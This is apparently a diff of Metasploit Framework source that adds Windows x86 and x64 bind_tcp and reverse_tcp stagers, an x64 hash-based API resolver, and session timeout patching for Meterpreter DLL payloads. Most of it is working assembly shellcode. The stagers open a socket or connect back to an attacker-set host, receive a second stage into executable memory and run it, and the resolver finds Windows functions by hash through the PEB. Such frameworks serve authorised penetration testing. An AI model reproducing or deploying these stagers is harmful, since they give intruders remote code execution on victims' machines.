# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 8 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the newly connected clients socket
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
bind_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push 8
|
||||
pop ecx
|
||||
push_8_loop:
|
||||
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
|
||||
loop push_8_loop
|
||||
|
||||
; push zero for the flags param [8]
|
||||
; push null for reserved parameter [7]
|
||||
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||
; we do not specify a protocol [5]
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
; bind to 0.0.0.0, pushed earlier [4]
|
||||
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
^
|
||||
|
||||
# Check for a failed bind() call
|
||||
if reliable
|
||||
asm << %Q^
|
||||
test eax,eax
|
||||
jnz failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; backlog, pushed earlier [3]
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call ebp ; listen( s, 0 );
|
||||
|
||||
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||
push edi ; listening socket
|
||||
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if reliable
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
|
||||
^
|
||||
asm << asm_exitfunk(opts)
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -2,8 +2,8 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
module Msf
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
|
|
|
@ -29,17 +29,11 @@ module Payload::Windows::ReflectiveDllInject
|
|||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi -https',
|
||||
},
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 33, 'V' ]
|
||||
},
|
||||
'Payload' => ""
|
||||
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
))
|
||||
|
||||
|
@ -85,6 +79,16 @@ module Payload::Windows::ReflectiveDllInject
|
|||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the target ID into the URI if specified
|
||||
if target_id
|
||||
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
|
|
|
@ -0,0 +1,242 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseTcp
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_tcp(
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
create_socket:
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
set_address:
|
||||
push #{retry_count} ; retry counter
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_failure:
|
||||
dec dword [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
# TODO: Rewind the stack, free memory, try again
|
||||
=begin
|
||||
if opts[:reliable]
|
||||
asm << %Q^
|
||||
reconnect:
|
||||
|
||||
^
|
||||
end
|
||||
=end
|
||||
|
||||
asm << %Q^
|
||||
connected:
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter
|
|||
end
|
||||
|
||||
def generate_stageless_x86(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
|
@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter
|
|||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter
|
|||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
|
|
|
@ -0,0 +1,220 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bindtcp payload generation for Windows ARCH_X86_64
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::BindTcp_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; pop off the address of 'api_call' for calling later.
|
||||
#{asm_bind_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
#space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 11 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
bind_tcp:
|
||||
; setup the structures we need on the stack...
|
||||
mov r14, 'ws2_32'
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
mov r12, #{encoded_port}
|
||||
push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
|
||||
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
; perform the call to WSASocketA...
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
; perform the call to bind...
|
||||
push 16 ;
|
||||
pop r8 ; length of the sockaddr_in struct (we only set the
|
||||
; first 8 bytes as the last 8 are unused)
|
||||
mov rdx, r12 ; set the pointer to sockaddr_in struct
|
||||
mov rcx, rdi ; socket
|
||||
mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call rbp ; bind( s, &sockaddr_in, 16 );
|
||||
; perform the call to listen...
|
||||
xor rdx, rdx ; backlog
|
||||
mov rcx, rdi ; socket
|
||||
mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call rbp ; listen( s, 0 );
|
||||
; perform the call to accept...
|
||||
xor r8, r8 ; we set length for the sockaddr struct to zero
|
||||
xor rdx, rdx ; we dont set the optional sockaddr param
|
||||
mov rcx, rdi ; listening socket
|
||||
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call rbp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
; perform the call to closesocket...
|
||||
mov rcx, rdi ; the listening socket to close
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call rbp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
mov rdi, rax ; swap the new connected socket over the listening socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,117 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic block_api stubs for Windows ARCH_X86_64 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::BlockApi_x64
|
||||
|
||||
def asm_block_api(opts={})
|
||||
|
||||
raw = %q^
|
||||
api_call:
|
||||
push r9 ; Save the 4th parameter
|
||||
push r8 ; Save the 3rd parameter
|
||||
push rdx ; Save the 2nd parameter
|
||||
push rcx ; Save the 1st parameter
|
||||
push rsi ; Save RSI
|
||||
xor rdx, rdx ; Zero rdx
|
||||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push rdx ; Save the current position in the module list for later
|
||||
push r9 ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov rdx, [rdx+32] ; Get this modules base address
|
||||
mov eax, dword [rdx+60] ; Get PE header
|
||||
add rax, rdx ; Add the modules base address
|
||||
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
|
||||
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
||||
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
||||
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
||||
jne get_next_mod1 ; if not, proceed to the next module
|
||||
mov eax, dword [rax+136] ; Get export tables RVA
|
||||
test rax, rax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add rax, rdx ; Add the modules base address
|
||||
push rax ; Save the current modules EAT
|
||||
mov ecx, dword [rax+24] ; Get the number of function names
|
||||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||
add r8, rdx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
